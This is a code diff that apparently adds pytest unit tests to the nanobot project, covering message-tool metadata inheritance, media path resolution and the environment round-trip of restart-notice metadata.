||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.config.paths import get_workspace_path
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
@@ -29,3 +33,172 @@ async def test_message_tool_rejects_malformed_buttons(bad) -> None:
|
||||
content="hi", channel="telegram", chat_id="1", buttons=bad,
|
||||
)
|
||||
assert result == "Error: buttons must be a list of list of strings"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_marks_channel_delivery_only_when_enabled() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
await tool.execute(content="normal", channel="telegram", chat_id="1")
|
||||
token = tool.set_record_channel_delivery(True)
|
||||
try:
|
||||
await tool.execute(content="cron", channel="telegram", chat_id="1")
|
||||
finally:
|
||||
tool.reset_record_channel_delivery(token)
|
||||
|
||||
assert sent[0].metadata == {}
|
||||
assert sent[1].metadata == {"_record_channel_delivery": True}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_inherits_metadata_for_same_target() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
slack_meta = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
|
||||
tool.set_context("slack", "C123", metadata=slack_meta)
|
||||
|
||||
await tool.execute(content="thread reply")
|
||||
|
||||
assert sent[0].metadata == slack_meta
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_does_not_inherit_metadata_for_cross_target() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
tool.set_context(
|
||||
"slack",
|
||||
"C123",
|
||||
metadata={"slack": {"thread_ts": "111.222", "channel_type": "channel"}},
|
||||
)
|
||||
|
||||
await tool.execute(content="channel reply", channel="slack", chat_id="C999")
|
||||
|
||||
assert sent[0].metadata == {}
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_resolves_relative_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=["output/image.png"],
|
||||
)
|
||||
|
||||
expected = str(get_workspace_path() / "output/image.png")
|
||||
assert sent[0].media == [expected]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_resolves_relative_media_paths_from_active_workspace(tmp_path) -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
workspace = tmp_path / "workspace"
|
||||
tool = MessageTool(send_callback=_send, workspace=workspace)
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=["output/image.png"],
|
||||
)
|
||||
|
||||
assert sent[0].media == [str(workspace / "output/image.png")]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_passes_through_absolute_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "abs_image.png"))
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=[abs_path],
|
||||
)
|
||||
|
||||
assert sent[0].media == [abs_path]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_passes_through_url_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
url = "https://example.com/image.png"
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=[url],
|
||||
)
|
||||
|
||||
assert sent[0].media == [url]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_message_tool_resolves_mixed_media_paths() -> None:
|
||||
sent: list[OutboundMessage] = []
|
||||
|
||||
async def _send(msg: OutboundMessage) -> None:
|
||||
sent.append(msg)
|
||||
|
||||
tool = MessageTool(send_callback=_send)
|
||||
|
||||
abs_path = os.path.abspath(os.path.join(os.sep, "tmp", "absolute.png"))
|
||||
|
||||
await tool.execute(
|
||||
content="see attached",
|
||||
channel="telegram",
|
||||
chat_id="1",
|
||||
media=[
|
||||
"output/relative.png",
|
||||
abs_path,
|
||||
"https://example.com/url.png",
|
||||
"http://example.com/http.png",
|
||||
],
|
||||
)
|
||||
|
||||
expected_relative = str(get_workspace_path() / "output/relative.png")
|
||||
assert sent[0].media == [
|
||||
expected_relative,
|
||||
abs_path,
|
||||
"https://example.com/url.png",
|
||||
"http://example.com/http.png",
|
||||
]
|
||||
|
||||
@@ -16,6 +16,7 @@ from nanobot.utils.restart import (
|
||||
def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
|
||||
|
||||
set_restart_notice_to_env(channel="feishu", chat_id="oc_123")
|
||||
@@ -25,14 +26,42 @@ def test_set_and_consume_restart_notice_env_roundtrip(monkeypatch):
|
||||
assert notice.channel == "feishu"
|
||||
assert notice.chat_id == "oc_123"
|
||||
assert notice.started_at_raw
|
||||
assert notice.metadata == {}
|
||||
|
||||
# Consumed values should be cleared from env.
|
||||
assert consume_restart_notice_from_env() is None
|
||||
assert "NANOBOT_RESTART_NOTIFY_CHANNEL" not in os.environ
|
||||
assert "NANOBOT_RESTART_NOTIFY_CHAT_ID" not in os.environ
|
||||
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
|
||||
assert "NANOBOT_RESTART_STARTED_AT" not in os.environ
|
||||
|
||||
|
||||
def test_restart_notice_preserves_metadata_across_env(monkeypatch):
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHANNEL", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_CHAT_ID", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_NOTIFY_METADATA", raising=False)
|
||||
monkeypatch.delenv("NANOBOT_RESTART_STARTED_AT", raising=False)
|
||||
|
||||
set_restart_notice_to_env(
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
|
||||
)
|
||||
|
||||
notice = consume_restart_notice_from_env()
|
||||
assert notice is not None
|
||||
assert notice.metadata == {
|
||||
"slack": {"thread_ts": "1700.42", "channel_type": "channel"}
|
||||
}
|
||||
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
|
||||
|
||||
|
||||
def test_restart_notice_clears_stale_metadata(monkeypatch):
|
||||
monkeypatch.setenv("NANOBOT_RESTART_NOTIFY_METADATA", '{"stale": true}')
|
||||
set_restart_notice_to_env(channel="cli", chat_id="direct")
|
||||
assert "NANOBOT_RESTART_NOTIFY_METADATA" not in os.environ
|
||||
|
||||
|
||||
def test_format_restart_completed_message_with_elapsed(monkeypatch):
|
||||
monkeypatch.setattr("nanobot.utils.restart.time.time", lambda: 102.0)
|
||||
assert format_restart_completed_message("100.0") == "Restart completed in 2.0s."
|
||||
|
||||
Reference in New Issue
Block a user